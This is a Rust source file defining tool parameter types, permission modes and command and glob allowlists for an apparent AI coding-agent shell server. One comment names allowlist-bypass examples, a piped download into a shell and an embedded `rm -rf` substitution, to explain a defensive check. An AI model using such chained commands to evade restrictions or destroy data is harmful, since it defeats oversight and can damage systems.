Skip to main content

winx_code_agent/
types.rs

1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub fn normalize_thread_id(thread_id: &str) -> String {
5    let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
6    // If filtering removed characters, distinct ids could collapse to the same
7    // form ("user-1" and "user1" both become "user1"), silently sharing one
8    // session and one state file. Append a short, stable hash of the ORIGINAL so
9    // distinct inputs stay distinct. Already-safe ids (the common case, incl.
10    // generated `tid_*`) and ids that filter to empty are returned unchanged.
11    if filtered.is_empty() || filtered == thread_id {
12        filtered
13    } else {
14        format!("{filtered}_{:08x}", fnv1a_32(thread_id))
15    }
16}
17
18/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
19/// interactive TUI without a hand-written recognizer. Loaded from the
20/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
21/// `configurable`. Each marker is matched case-insensitively; an invalid regex
22/// falls back to a literal-substring match.
23#[derive(Debug, Clone, Default, Deserialize)]
24pub struct TurnRecognizerMarkers {
25    /// Screen is actively working (scanned across the whole screen). E.g.
26    /// `["esc to interrupt", "generating"]`.
27    #[serde(default)]
28    pub busy: Vec<String>,
29    /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
30    #[serde(default)]
31    pub awaiting_input: Vec<String>,
32    /// Screen is asking for confirmation (scanned in the tail). E.g.
33    /// `["do you want", "y/n"]`.
34    #[serde(default)]
35    pub awaiting_approval: Vec<String>,
36}
37
38impl TurnRecognizerMarkers {
39    /// True when no markers are configured (nothing to recognize).
40    pub fn is_empty(&self) -> bool {
41        self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
42    }
43}
44
45/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
46/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
47/// resolves to the same session and state file after a server restart.
48fn fnv1a_32(s: &str) -> u32 {
49    let mut hash: u32 = 0x811c_9dc5;
50    for byte in s.bytes() {
51        hash ^= u32::from(byte);
52        hash = hash.wrapping_mul(0x0100_0193);
53    }
54    hash
55}
56
57/// Type of shell environment initialization
58///
59/// This enum represents the different ways the Initialize tool can be called,
60/// depending on the current state of the conversation and what the user is requesting.
61#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
62#[serde(rename_all = "snake_case")]
63pub enum InitializeType {
64    /// Initial call at the start of a conversation
65    ///
66    /// This should be used for the first Initialize call in a conversation.
67    /// It sets up a new shell environment with the specified parameters.
68    FirstCall,
69
70    /// User requested to change the mode
71    ///
72    /// This should be used when the user asks to switch between modes
73    /// (e.g., from "wcgw" to "architect" or "`code_writer`").
74    UserAskedModeChange,
75
76    /// Reset the shell environment due to issues
77    ///
78    /// This should be used when the shell environment appears to be in a bad state
79    /// and needs to be reset to continue properly.
80    ResetShell,
81
82    /// User requested to change the workspace
83    ///
84    /// This should be used when the user asks to switch to a different
85    /// workspace or project directory during the conversation.
86    UserAskedChangeWorkspace,
87}
88
89#[derive(Debug, Clone, PartialEq)]
90pub enum ModeName {
91    Wcgw,
92    Architect,
93    CodeWriter,
94}
95
96// Custom serializer implementation to ensure values are properly quoted in JSON
97impl Serialize for ModeName {
98    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
99    where
100        S: serde::Serializer,
101    {
102        match self {
103            ModeName::Wcgw => serializer.serialize_str("wcgw"),
104            ModeName::Architect => serializer.serialize_str("architect"),
105            ModeName::CodeWriter => serializer.serialize_str("code_writer"),
106        }
107    }
108}
109
110// Custom deserializer to support multiple aliases
111impl<'de> Deserialize<'de> for ModeName {
112    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
113    where
114        D: serde::Deserializer<'de>,
115    {
116        let s = String::deserialize(deserializer)?;
117        match s.as_str() {
118            "wcgw" => Ok(ModeName::Wcgw),
119            "architect" => Ok(ModeName::Architect),
120            "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
121            _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
122        }
123    }
124}
125
126// Implement schema generation for JSON schema since we removed the derive
127impl JsonSchema for ModeName {
128    fn schema_name() -> std::borrow::Cow<'static, str> {
129        "ModeName".into()
130    }
131
132    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
133        schemars::Schema::new_ref("#/definitions/ModeName".to_string())
134    }
135}
136
137#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
138pub struct CodeWriterConfig {
139    #[serde(default)]
140    pub allowed_globs: AllowedGlobs,
141    #[serde(default)]
142    pub allowed_commands: AllowedCommands,
143}
144
145impl CodeWriterConfig {
146    pub fn update_relative_globs(&mut self, workspace_root: &str) {
147        // Only process if we have a list of globs
148        if let AllowedGlobs::List(globs) = &self.allowed_globs {
149            let updated_globs = globs
150                .iter()
151                .map(|glob| {
152                    if std::path::Path::new(glob).is_absolute() {
153                        glob.clone()
154                    } else {
155                        format!("{workspace_root}/{glob}")
156                    }
157                })
158                .collect();
159
160            self.allowed_globs = AllowedGlobs::List(updated_globs);
161        }
162    }
163}
164
165#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
166#[serde(untagged)]
167pub enum AllowedGlobs {
168    All(String),
169    List(Vec<String>),
170}
171
172impl Default for AllowedGlobs {
173    fn default() -> Self {
174        AllowedGlobs::All("all".to_string())
175    }
176}
177
178impl AllowedGlobs {
179    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
180    /// Without this, a literal glob named "all" would be the only allowed path.
181    pub fn normalize(&mut self) {
182        if let AllowedGlobs::List(items) = self {
183            if items.len() == 1 && items[0] == "all" {
184                *self = AllowedGlobs::All("all".to_string());
185            }
186        }
187    }
188
189    #[allow(dead_code)]
190    pub fn is_allowed(&self, path: &str) -> bool {
191        match self {
192            AllowedGlobs::All(s) if s == "all" => true,
193            AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
194                Ok(pattern) => pattern.matches(path),
195                Err(_) => false,
196            }),
197            AllowedGlobs::All(_) => false,
198        }
199    }
200}
201
202#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
203#[serde(untagged)]
204pub enum AllowedCommands {
205    All(String),
206    List(Vec<String>),
207}
208
209impl Default for AllowedCommands {
210    fn default() -> Self {
211        AllowedCommands::All("all".to_string())
212    }
213}
214
215impl AllowedCommands {
216    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
217    pub fn normalize(&mut self) {
218        if let AllowedCommands::List(items) = self {
219            if items.len() == 1 && items[0] == "all" {
220                *self = AllowedCommands::All("all".to_string());
221            }
222        }
223    }
224
225    pub fn is_allowed(&self, command_line: &str) -> bool {
226        match self {
227            AllowedCommands::All(s) if s == "all" => true,
228            AllowedCommands::All(_) => false,
229            AllowedCommands::List(commands) => {
230                // Enforce the allowlist against EVERY command the line would run
231                // (pipelines, &&/||/;, command & process substitution, subshells),
232                // not just the first whitespace token — which `ls && curl|sh` and
233                // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
234                // closed: a restricted mode must not run what it can't vet.
235                match crate::utils::bash_parser::extract_command_texts(command_line) {
236                    Ok(cmds) if !cmds.is_empty() => cmds
237                        .iter()
238                        .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
239                    _ => false,
240                }
241            }
242        }
243    }
244}
245
246/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
247/// enforcing a word boundary so `ls` does not also permit `lsof`, and
248/// `cargo test` does not permit `cargo testimony`.
249fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
250    let cmd = cmd.trim();
251    let allowed = allowed.trim();
252    if allowed.is_empty() {
253        return false;
254    }
255    cmd == allowed
256        || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
257}
258
259/// Parameters for initializing the shell environment
260///
261/// This struct represents the parameters needed to initialize or update the shell environment.
262/// It is used by the Initialize tool, which must be called before any other shell tools.
263#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
264pub struct Initialize {
265    /// Initialization type, indicating the purpose of the call
266    ///
267    /// - `FirstCall`: Initial setup for a new conversation
268    /// - `UserAskedModeChange`: User requested to change the mode during a conversation
269    /// - `ResetShell`: Reset the shell if it's not working properly
270    /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
271    #[serde(rename = "type")]
272    #[serde(default = "default_init_type")]
273    pub init_type: InitializeType,
274
275    /// Path to the workspace directory or file
276    ///
277    /// This can be an absolute path or a path relative to the current directory.
278    /// If it's a file, the parent directory will be used as the workspace.
279    /// If it doesn't exist and is an absolute path, it will be created.
280    /// If it's a relative path and doesn't exist, an error will be returned.
281    pub any_workspace_path: String,
282
283    /// List of files to read initially
284    ///
285    /// These files can be absolute paths or paths relative to the workspace.
286    /// They will be read and their contents provided in the response.
287    #[serde(default)]
288    pub initial_files_to_read: Vec<String>,
289
290    /// ID of a task to resume
291    ///
292    /// If provided during a `first_call`, the task with this ID will be resumed.
293    /// This allows continuing a conversation from a previous session.
294    #[serde(default = "String::new")]
295    #[serde(deserialize_with = "deserialize_string_or_null")]
296    pub task_id_to_resume: String,
297
298    /// Mode name for the shell environment
299    ///
300    /// - `wcgw`: Full permissions (default)
301    /// - `architect`: Restricted permissions, read-only
302    /// - `code_writer`: Custom permissions for code writing
303    #[serde(default = "default_mode_name")]
304    pub mode_name: ModeName,
305
306    /// ID of the thread session
307    ///
308    /// If not provided for a `first_call`, a new ID will be generated.
309    /// This ID must be included in all subsequent tool calls.
310    #[serde(default)]
311    #[serde(deserialize_with = "deserialize_string_or_null")]
312    pub thread_id: String,
313
314    /// Configuration for `code_writer` mode
315    ///
316    /// Only used when `mode_name` is "`code_writer`".
317    /// Specifies allowed commands and file globs for writing/editing.
318    #[serde(default)]
319    #[serde(deserialize_with = "deserialize_code_writer_config")]
320    pub code_writer_config: Option<CodeWriterConfig>,
321}
322
323// Custom deserializer for strings that might be null
324fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
325where
326    D: serde::Deserializer<'de>,
327{
328    // First try to deserialize as a string
329    let result = serde_json::Value::deserialize(deserializer)?;
330
331    match result {
332        // Return empty string for null values
333        serde_json::Value::Null => Ok(String::new()),
334        // If it's a string, use that
335        serde_json::Value::String(s) => {
336            // Handle "null" string specially
337            if s == "null" {
338                Ok(String::new())
339            } else {
340                Ok(s)
341            }
342        }
343        // Otherwise try to convert to a string
344        _ => match serde_json::to_string(&result) {
345            Ok(s) => Ok(s),
346            Err(_) => Ok(String::new()),
347        },
348    }
349}
350
351// Custom deserializer for code_writer_config that handles the "null" string case
352fn deserialize_code_writer_config<'de, D>(
353    deserializer: D,
354) -> Result<Option<CodeWriterConfig>, D::Error>
355where
356    D: serde::Deserializer<'de>,
357{
358    // This handles multiple possible input types
359    let value = serde_json::Value::deserialize(deserializer)?;
360
361    match value {
362        // If it's explicitly null or the string "null", return None
363        serde_json::Value::Null => Ok(None),
364        serde_json::Value::String(s) if s == "null" => Ok(None),
365        // Otherwise try to parse it as CodeWriterConfig
366        _ => {
367            match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
368                Ok(config) => {
369                    tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
370                    Ok(Some(config))
371                }
372                Err(e) => {
373                    // Log the error and the value for debugging
374                    tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
375                    Ok(None) // Fall back to None on parse error
376                }
377            }
378        }
379    }
380}
381
382/// Default `mode_name` for Initialize
383fn default_mode_name() -> ModeName {
384    ModeName::Wcgw
385}
386
387/// Default `init_type` for Initialize
388fn default_init_type() -> InitializeType {
389    InitializeType::FirstCall
390}
391
392// Mode types
393#[derive(Debug, Clone, Copy, PartialEq)]
394pub enum Modes {
395    Wcgw,
396    Architect,
397    CodeWriter,
398}
399
400impl std::fmt::Display for Modes {
401    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
402        match self {
403            Modes::Wcgw => write!(f, "wcgw"),
404            Modes::Architect => write!(f, "architect"),
405            Modes::CodeWriter => write!(f, "code_writer"),
406        }
407    }
408}
409
410// Implement schema generation for Modes
411impl JsonSchema for Modes {
412    fn schema_name() -> std::borrow::Cow<'static, str> {
413        "Modes".into()
414    }
415
416    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
417        schemars::Schema::new_ref("#/definitions/Modes".to_string())
418    }
419}
420
421/// Special key types for shell interaction
422/// Matches wcgw Python's Specials enum exactly
423#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
424pub enum SpecialKey {
425    Enter,
426    #[serde(rename = "Key-up")]
427    KeyUp,
428    #[serde(rename = "Key-down")]
429    KeyDown,
430    #[serde(rename = "Key-left")]
431    KeyLeft,
432    #[serde(rename = "Key-right")]
433    KeyRight,
434    #[serde(rename = "Ctrl-c")]
435    CtrlC,
436    #[serde(rename = "Ctrl-d")]
437    CtrlD,
438    #[serde(rename = "Ctrl-z")]
439    CtrlZ,
440}
441
442/// Parameters for the `ReadFiles` tool
443///
444/// This struct represents the parameters needed to read one or more files.
445/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
446#[derive(Debug, Clone, Serialize, JsonSchema)]
447pub struct ReadFiles {
448    /// List of file paths to read.
449    /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
450    /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
451    pub file_paths: Vec<String>,
452
453    /// Optional thread ID identifying the shell session to operate on. When
454    /// omitted, the most recently active session is used.
455    #[serde(default)]
456    pub thread_id: String,
457
458    // Internal fields - not part of MCP schema (parsed from file_paths)
459    #[serde(skip)]
460    #[schemars(skip)]
461    pub start_line_nums: Vec<Option<usize>>,
462
463    #[serde(skip)]
464    #[schemars(skip)]
465    pub end_line_nums: Vec<Option<usize>>,
466}
467
468// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
469impl<'de> Deserialize<'de> for ReadFiles {
470    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
471    where
472        D: serde::Deserializer<'de>,
473    {
474        #[derive(Deserialize)]
475        struct ReadFilesHelper {
476            file_paths: Option<Vec<String>>,
477            #[serde(default)]
478            thread_id: Option<String>,
479        }
480
481        let input = serde_json::Value::deserialize(deserializer)?;
482
483        if !input.is_object() {
484            if input.is_null() {
485                return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
486            }
487            return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
488        }
489
490        let helper: ReadFilesHelper = serde_json::from_value(input)
491            .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
492
493        let thread_id = helper.thread_id.unwrap_or_default();
494        let file_paths = match helper.file_paths {
495            Some(paths) if !paths.is_empty() => paths,
496            Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
497            None => return Err(serde::de::Error::custom("file_paths is required.")),
498        };
499
500        // Parse line ranges from file paths (like wcgw Python's model_post_init)
501        let mut clean_file_paths = Vec::with_capacity(file_paths.len());
502        let mut start_line_nums = Vec::with_capacity(file_paths.len());
503        let mut end_line_nums = Vec::with_capacity(file_paths.len());
504
505        for path in file_paths {
506            let (clean_path, start, end) = parse_file_path_with_line_range(&path);
507            clean_file_paths.push(clean_path);
508            start_line_nums.push(start);
509            end_line_nums.push(end);
510        }
511
512        Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
513    }
514}
515
516fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
517    let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
518        return (path.to_string(), None, None);
519    };
520
521    let Some((start, end)) = parse_line_spec(line_spec) else {
522        return (path.to_string(), None, None);
523    };
524
525    (potential_path.to_string(), start, end)
526}
527
528fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
529    if line_spec.chars().all(|c| c.is_ascii_digit()) {
530        return line_spec.parse().ok().map(|line| (Some(line), None));
531    }
532
533    let (start, end) = line_spec.split_once('-')?;
534
535    if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
536        return end.parse().ok().map(|line| (None, Some(line)));
537    }
538
539    if !start.is_empty()
540        && start.chars().all(|c| c.is_ascii_digit())
541        && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
542    {
543        let start = start.parse().ok()?;
544        let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
545        return Some((Some(start), end));
546    }
547
548    None
549}
550
551impl ReadFiles {
552    /// Line numbers are always shown (like wcgw Python)
553    pub fn show_line_numbers(&self) -> bool {
554        true
555    }
556
557    /// Get the clean file path without line range suffix
558    pub fn get_clean_path(&self, index: usize) -> String {
559        parse_file_path_with_line_range(&self.file_paths[index]).0
560    }
561}
562
563/// Default true value for `status_check`
564fn default_true() -> bool {
565    true
566}
567
568/// Types of actions that can be performed with the `BashCommand` tool
569#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
570#[serde(tag = "type", rename_all = "snake_case")]
571pub enum BashCommandAction {
572    /// Execute a shell command
573    Command {
574        command: String,
575        #[serde(default)]
576        is_background: bool,
577        /// Opt out of the single-top-level-statement guard. By default winx
578        /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
579        /// agent has to be explicit about what it's running. Set this to true
580        /// when you knowingly want to run a composite command without
581        /// wrapping it in `bash -lc '...'`.
582        #[serde(default)]
583        allow_multi: bool,
584    },
585
586    /// Check the status of a running command.
587    ///
588    /// By default returns only what changed since the previous call — agents
589    /// driving long-lived TUIs do not need the cumulative buffer on every poll.
590    /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
591    /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
592    /// the PTY ringbuffer.
593    StatusCheck {
594        #[serde(default = "default_true")]
595        status_check: bool,
596        bg_command_id: Option<String>,
597        #[serde(default)]
598        scrollback_lines: Option<usize>,
599        #[serde(default)]
600        verbose: bool,
601    },
602
603    /// Send text to a running command. Set `submit` to true to append a carriage
604    /// return after the bytes so the target program receives the input as a
605    /// completed line (matches what hitting Enter would do in a TUI).
606    SendText {
607        send_text: String,
608        bg_command_id: Option<String>,
609        #[serde(default)]
610        submit: bool,
611    },
612
613    /// Send special keys to a running command. `submit` works the same as in
614    /// `SendText`.
615    SendSpecials {
616        send_specials: Vec<SpecialKey>,
617        bg_command_id: Option<String>,
618        #[serde(default)]
619        submit: bool,
620    },
621
622    /// Send ASCII characters to a running command. `submit` works the same as in
623    /// `SendText`.
624    SendAscii {
625        send_ascii: Vec<u8>,
626        bg_command_id: Option<String>,
627        #[serde(default)]
628        submit: bool,
629    },
630
631    /// Snapshot the live, stable screen of a shell's terminal: the consolidated
632    /// view a human would see right now (cursor moves, redraws, alternate-screen
633    /// and synchronized-output already applied), ANSI stripped. Unlike
634    /// `status_check`, it never stacks redraw generations and never waits — a
635    /// point-in-time photo, ideal for reading an interactive TUI's current frame
636    /// (the `claude` CLI, vim, htop, fzf).
637    Screen {
638        #[serde(default = "default_true")]
639        screen: bool,
640        bg_command_id: Option<String>,
641        /// Last N visible lines to return (0 or omitted = full screen buffer).
642        #[serde(default)]
643        lines: Option<usize>,
644        /// When true, return only the lines that CHANGED since the last `screen`
645        /// look (big token savings when polling a TUI frame-by-frame) instead of
646        /// the whole frame. First look, or a large change, still returns full.
647        #[serde(default)]
648        diff: bool,
649    },
650
651    /// Block until an interactive TUI finishes its turn and is ready for input.
652    /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
653    /// with a per-app recognizer, then returns the stable snapshot plus the
654    /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
655    WaitForTurn {
656        #[serde(default = "default_true")]
657        wait_for_turn: bool,
658        bg_command_id: Option<String>,
659        /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
660        /// (aka `agy`) or `generic`.
661        #[serde(default)]
662        recognizer: Option<String>,
663        /// Quiet window in ms — the screen must be unchanged this long to count
664        /// as idle (default 600).
665        #[serde(default)]
666        quiet_ms: Option<u64>,
667        /// Hard cap in seconds before returning regardless (default 30).
668        #[serde(default)]
669        timeout_seconds: Option<f32>,
670        /// Visible lines to return in the final snapshot (0 or omitted = full).
671        #[serde(default)]
672        lines: Option<usize>,
673    },
674}
675
676/// Parameters for the `BashCommand` tool
677#[derive(Debug, Clone, Serialize, JsonSchema)]
678pub struct BashCommand {
679    /// The action to perform (command, status check, etc.)
680    pub action_json: BashCommandAction,
681
682    /// Optional timeout in seconds to wait for command completion
683    #[serde(default)]
684    #[serde(skip_serializing_if = "Option::is_none")]
685    pub wait_for_seconds: Option<f32>,
686
687    /// The thread ID for this session
688    #[serde(default)]
689    pub thread_id: String,
690}
691
692// Custom deserialization for BashCommand to handle string-encoded action_json
693impl<'de> Deserialize<'de> for BashCommand {
694    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
695    where
696        D: serde::Deserializer<'de>,
697    {
698        let input = serde_json::Value::deserialize(deserializer)?;
699        let serde_json::Value::Object(mut map) = input else {
700            return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
701        };
702
703        let wait_for_seconds = map
704            .remove("wait_for_seconds")
705            .map(serde_json::from_value)
706            .transpose()
707            .map_err(serde::de::Error::custom)?;
708        let thread_id = map
709            .remove("thread_id")
710            .map(thread_id_from_value)
711            .transpose()
712            .map_err(serde::de::Error::custom)?
713            .unwrap_or_default();
714        let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
715
716        // Process action_json which could be a string or an object
717        let action_json = match action_json_value {
718            serde_json::Value::String(s) => {
719                // If it's a string, normalize newlines and try to parse it as JSON
720                // Replace literal newlines with space to avoid JSON parsing errors
721                let sanitized = s.replace('\n', " ");
722                match serde_json::from_str(&sanitized) {
723                    Ok(json) => normalize_action_json(json),
724                    Err(e) => {
725                        // If strict JSON parsing fails, try to be more lenient
726                        // For commands containing literal newlines, just wrap the string in a command object
727                        tracing::warn!(
728                            "Failed to parse action_json as JSON, trying fallback: {}",
729                            e
730                        );
731
732                        // Check for common JSON syntax issues
733                        if s.contains("command") && s.contains('{') && s.contains('}') {
734                            // It looks like JSON but has issues, let's try to sanitize it
735
736                            // Detailed error for troubleshooting
737                            tracing::debug!("JSON parse error on: {}", s);
738
739                            // Common issues: unescaped quotes, newlines, tabs
740                            let re_sanitized = s
741                                .replace('\n', "\\n") // Replace newlines with escaped newlines
742                                .replace('\r', "\\r") // Replace carriage returns with escaped versions
743                                .replace('\t', "\\t"); // Replace tabs with escaped versions
744
745                            // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
746                            let re_sanitized = if !s.contains('"') && s.contains(':') {
747                                // Very likely unquoted keys/values
748                                tracing::debug!("Attempting to fix unquoted JSON keys/values");
749                                re_sanitized
750                            } else {
751                                re_sanitized
752                            };
753
754                            match serde_json::from_str(&re_sanitized) {
755                                Ok(json) => normalize_action_json(json),
756                                Err(err) => {
757                                    // Log the specific parsing error for debugging
758                                    tracing::error!("Secondary JSON parse error: {}", err);
759                                    // Last resort fallback - assume it's a command string
760                                    // MUST include "type": "command" for serde tagged enum
761                                    serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
762                                }
763                            }
764                        } else {
765                            // Assume it's a simple command string
766                            // MUST include "type": "command" for serde tagged enum
767                            tracing::info!("Treating as simple command: {}", s);
768                            serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
769                        }
770                    }
771                }
772            }
773            // If it's already an object or other JSON value, normalize legacy
774            // WCGW-style shorthand such as {"command": "..."}.
775            value => normalize_action_json(value),
776        };
777
778        // Now deserialize the action_json to our BashCommandAction enum
779        let mut action: BashCommandAction =
780            serde_json::from_value(action_json.clone()).map_err(|e| {
781// Log both the error and the problematic JSON for debugging
782tracing::error!(
783    "Failed to deserialize action_json to BashCommandAction: {}\nProblematic JSON: {}",
784    e,
785    action_json
786);
787
788// For the SyntaxError: Unexpected token case
789let err_str = e.to_string();
790if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
791    return serde::de::Error::custom(format!(
792        "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
793    ));
794}
795
796serde::de::Error::custom(format!("Invalid action_json: {e}. Please ensure your JSON is properly formatted."))
797        })?;
798
799        // Return the properly constructed BashCommand
800        Ok(BashCommand {
801            action_json: action,
802            wait_for_seconds,
803            thread_id: normalize_thread_id(&thread_id),
804        })
805    }
806}
807
808fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
809    match value {
810        serde_json::Value::Null => Ok(String::new()),
811        serde_json::Value::String(value) => Ok(value),
812        other => Err(format!("thread_id must be a string or null, got {other}")),
813    }
814}
815
816fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
817    let serde_json::Value::Object(map) = &mut value else {
818        return value;
819    };
820
821    if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
822        *command = sanitize_shell_string(command);
823    }
824
825    if map.contains_key("type") {
826        return value;
827    }
828
829    let inferred_type = if map.contains_key("command") {
830        Some("command")
831    } else if map.contains_key("status_check") {
832        Some("status_check")
833    } else if map.contains_key("send_text") {
834        Some("send_text")
835    } else if map.contains_key("send_specials") {
836        Some("send_specials")
837    } else if map.contains_key("send_ascii") {
838        Some("send_ascii")
839    } else if map.contains_key("screen") {
840        Some("screen")
841    } else if map.contains_key("wait_for_turn") {
842        Some("wait_for_turn")
843    } else {
844        None
845    };
846
847    if let Some(action_type) = inferred_type {
848        map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
849    }
850
851    value
852}
853
854fn sanitize_shell_string(value: &str) -> String {
855    value.replace('\0', "\\x00")
856}
857
858// Bash command mode
859#[derive(Debug, Clone, JsonSchema, PartialEq)]
860pub struct BashCommandMode {
861    pub bash_mode: BashMode,
862    pub allowed_commands: AllowedCommands,
863}
864
865#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
866pub enum BashMode {
867    NormalMode,
868    RestrictedMode,
869}
870
871// File edit mode
872#[derive(Debug, Clone, JsonSchema, PartialEq)]
873pub struct FileEditMode {
874    pub allowed_globs: AllowedGlobs,
875}
876
877// Write if empty mode
878#[derive(Debug, Clone, JsonSchema, PartialEq)]
879pub struct WriteIfEmptyMode {
880    pub allowed_globs: AllowedGlobs,
881}
882
883/// Parameters for the `FileWriteOrEdit` tool
884///
885/// This struct represents the parameters needed to write or edit a file
886/// with optional search/replace blocks for partial edits.
887#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
888pub struct FileWriteOrEdit {
889    /// Path to the file to write or edit
890    ///
891    /// This must be an absolute path (~ allowed).
892    pub file_path: String,
893
894    /// Percentage of the file that will be changed
895    ///
896    /// If > 50%, the content is treated as the entire file content.
897    /// If <= 50%, the content is treated as search/replace blocks.
898    pub percentage_to_change: u32,
899
900    /// Content for the file or search/replace blocks
901    ///
902    /// If `percentage_to_change` > 50%, this is the entire file content.
903    /// If `percentage_to_change` <= 50%, this contains search/replace blocks
904    /// in the format:
905    /// ```text
906    /// <<<<<<< SEARCH
907    /// old content to find
908    /// =======
909    /// new content to replace with
910    /// >>>>>>> REPLACE
911    /// ```
912    pub text_or_search_replace_blocks: String,
913
914    /// The thread ID for this session
915    pub thread_id: String,
916}
917
918/// Parameters for the `ContextSave` tool
919///
920/// This struct represents the parameters needed to save context information
921/// about a task, including file contents from specified globs.
922#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
923pub struct ContextSave {
924    /// Unique identifier for the task
925    ///
926    /// This should be a unique string that identifies the task. It can be
927    /// a random 3-word identifier or a user-provided value.
928    pub id: String,
929
930    /// Root path of the project
931    ///
932    /// This should be an absolute path to the project root. If empty, no
933    /// project root will be used.
934    pub project_root_path: String,
935
936    /// Description of the task
937    ///
938    /// This should contain a detailed description of the task, including
939    /// relevant context, problems, and objectives.
940    pub description: String,
941
942    /// List of file glob patterns
943    ///
944    /// These glob patterns identify the files that should be included in
945    /// the saved context. Patterns can be absolute or relative to the project root.
946    pub relevant_file_globs: Vec<String>,
947
948    /// Optional thread ID identifying the shell session to operate on. When
949    /// omitted, the most recently active session is used.
950    #[serde(default)]
951    pub thread_id: String,
952}
953
954/// Parameters for the `ReadImage` tool
955///
956/// This struct represents the parameters needed to read an image file.
957#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
958pub struct ReadImage {
959    /// Path to the image file to read
960    ///
961    /// This can be an absolute path or a path relative to the current working directory.
962    pub file_path: String,
963
964    /// Optional thread ID identifying the shell session to operate on. When
965    /// omitted, the most recently active session is used.
966    #[serde(default)]
967    pub thread_id: String,
968}
969
970#[cfg(test)]
971mod thread_id_tests {
972    use super::normalize_thread_id;
973
974    #[test]
975    fn clean_id_is_unchanged() {
976        assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
977        assert_eq!(normalize_thread_id("worker_1"), "worker_1");
978    }
979
980    #[test]
981    fn empty_and_all_special_normalize_to_empty() {
982        assert_eq!(normalize_thread_id(""), "");
983        assert_eq!(normalize_thread_id("---"), "");
984    }
985
986    #[test]
987    fn separator_variants_do_not_collide() {
988        // "user-1" and "user1" must NOT resolve to the same session/state file.
989        let a = normalize_thread_id("user-1");
990        let b = normalize_thread_id("user1");
991        assert_ne!(a, b);
992        assert!(a.starts_with("user1_"), "got {a}");
993        assert_eq!(b, "user1");
994        // "user-1" vs "user_1" must also stay distinct.
995        assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
996    }
997
998    #[test]
999    fn normalization_is_deterministic() {
